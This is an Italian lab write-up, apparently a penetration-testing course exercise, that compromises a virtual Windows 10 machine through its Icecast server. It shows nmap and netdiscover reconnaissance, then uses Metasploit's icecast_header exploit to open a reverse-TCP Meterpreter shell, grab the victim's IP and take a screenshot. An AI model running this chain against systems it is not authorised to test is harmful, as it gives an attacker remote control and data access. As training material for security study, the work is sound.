

Hacking Windows

L'esercizio prevede di ottenere una sessione di Meterpreter sul target Windows 10 con Metasploit.

Una volta ottenuta la sessione, si dovrà:

- Vedere l'indirizzo IP della vittima.
- Recuperare uno screenshot tramite la sessione Meterpreter.

Il programma da exploitare sarà Icecast

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.50.100 netmask 255.255.255.0 broadcast 192.168.50.255
    ether 08:00:27:6e:13:6e txqueuelen 1000 (Ethernet)
    RX packets 458 bytes 33608 (32.8 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 16 bytes 1605 (1.5 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali@kali)-[~]
$
```

(configurazione di rete della macchina attaccante)

Con Netdiscover troviamo la macchina target, che ha IP 192.168.50.102

```
Currently scanning: Finished! | Screen View: Unique Hosts
Home File System Trash
17 Captured ARP Req/Rep packets, from 1 hosts. Total size: 1020

+-----+-----+-----+-----+-----+
| IP           | At MAC Address | Count | Len | MAC Vendor / Hostname |
+-----+-----+-----+-----+-----+
| 192.168.50.102 | 08:00:27:06:2d:d3 | 17    | 1020 | PCS Systemtechnik GmbH |
+-----+-----+-----+-----+-----+
```

Con il comando `nmap -sV 192.168.50.102` vediamo che il servizio Icecast Streaming media server è attivo, sarà il servizio che utilizzeremo per effettuare l'attacco.

```
[kali@kali]~$ nmap -sV 192.168.50.102
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-13 09:25 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Stats: 0:01:48 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 94.74% done; ETC: 09:27 (0:00:06 remaining)
Stats: 0:02:03 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 94.74% done; ETC: 09:28 (0:00:07 remaining)
Nmap scan report for 192.168.50.102
Host is up (0.0051s latency).
Not shown: 981 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
7/tcp     open  echo         echo
9/tcp     open  discard?
13/tcp    open  daytime      Microsoft Windows International daytime
17/tcp    open  qotd         Windows qotd (English)
19/tcp    open  chargen
80/tcp    open  http         Microsoft IIS httpd 10.0
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
1801/tcp  open  msmq?
2103/tcp  open  msrpc        Microsoft Windows RPC
2105/tcp  open  msrpc        Microsoft Windows RPC
2107/tcp  open  msrpc        Microsoft Windows RPC
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5432/tcp  open  postgresql?
8000/tcp  open  http         Icecast streaming media server
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8080/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
8443/tcp  open  ssl/https-alt
MAC Address: 08:00:27:06:2D:D3 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: DESKTOP-9K104BT; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 160.32 seconds
```

Su Metasploit cerchiamo un exploit che possa aiutarci con il servizio Icecast

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Enable verbose logging with set VERBOSE true

greynbone photo
.
dB'BBBBB dB'BP dB'BBBBB dB'BBBBB
dB' dB' BP
dB'dB'dB' dB'BP dB'BP dB'BP
dB'dB'dB' dB'BP dB'BP dB'BP
dB'dB'dB' dB'BBBB dB'BP dB'BBBBB
dB'BBBBB dB'BBBBB dB'BP dB'BBBBB dB'BP dB'BBBBB
dB'BP dB'BBBB dB'BP dB'.BP dB'BP dB'BP
dB'BP dB'BP dB'BP dB'.BP dB'BP dB'BP
dB'BBBB dB'BP dB'BBBB dB'BBBB dB'BP dB'BP

To boldly go where no
shell has gone before

=[ metasploit v6.4.50-dev ]
+ -- ==[ 2496 exploits - 1283 auxiliary - 431 post ]
+ -- ==[ 1610 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search icecast

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) >
```

Dopo aver configurato l'exploit con l'IP target su RHOSTS, lo lanciamo con il comando run.

```
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    8000             yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.50.100   yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > set rhost 192.168.50.102
rhost => 192.168.50.102
msf6 exploit(windows/http/icecast_header) > set lport 4445
lport => 4445
msf6 exploit(windows/http/icecast_header) > run
[*] Started reverse TCP handler on 192.168.50.100:4445
[*] Sending stage (177734 bytes) to 192.168.50.102
[*] Meterpreter session 1 opened (192.168.50.100:4445 -> 192.168.50.102:49450) at 2025-03-13 09:31:31 -0400

meterpreter > ifconfig
```

L'exploit ha successo e si apre una sessione Meterpreter. Con il comando ifconfig riusciamo a vedere l'IP della vittima.

```
meterpreter > ifconfig

Interface 1
-----
Name           : Software Loopback Interface 1
Hardware MAC   : 00:00:00:00:00:00
MTU            : 4294967295
IPv4 Address   : 127.0.0.1
IPv4 Netmask   : 255.0.0.0
IPv6 Address   : ::1
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 4
-----
Name           : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC   : 08:00:27:06:2d:d3
MTU            : 1500
IPv4 Address   : 192.168.50.102
IPv4 Netmask   : 255.255.255.0
IPv6 Address   : fe80::c560:83ac:2b0e:df75
IPv6 Netmask   : ffff:ffff:ffff:ffff::

Interface 6
-----
Name           : Microsoft ISATAP Adapter
Hardware MAC   : 00:00:00:00:00:00
MTU            : 1280
IPv6 Address   : fe80::5efe:c0a8:3266
IPv6 Netmask   : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

meterpreter >
```

Con il comando screenshot riusciamo a salvare sulla nostra macchina una fotografia della macchina target.

